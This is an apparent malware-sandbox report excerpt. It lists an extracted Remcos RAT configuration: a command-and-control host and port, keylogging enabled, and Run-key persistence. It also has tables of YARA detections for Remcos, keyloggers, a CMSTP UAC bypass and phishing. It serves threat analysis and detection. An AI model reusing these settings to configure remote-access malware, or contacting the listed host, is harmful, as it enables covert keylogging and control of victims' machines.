{"Host:Port:Password": ["banaya.duckdns.org:6946:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-VCYBO3", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| Click to see the 10 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| REMCOS_RAT_variants | unknown | unknown |
| |
| Click to see the 7 entries | ||||
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||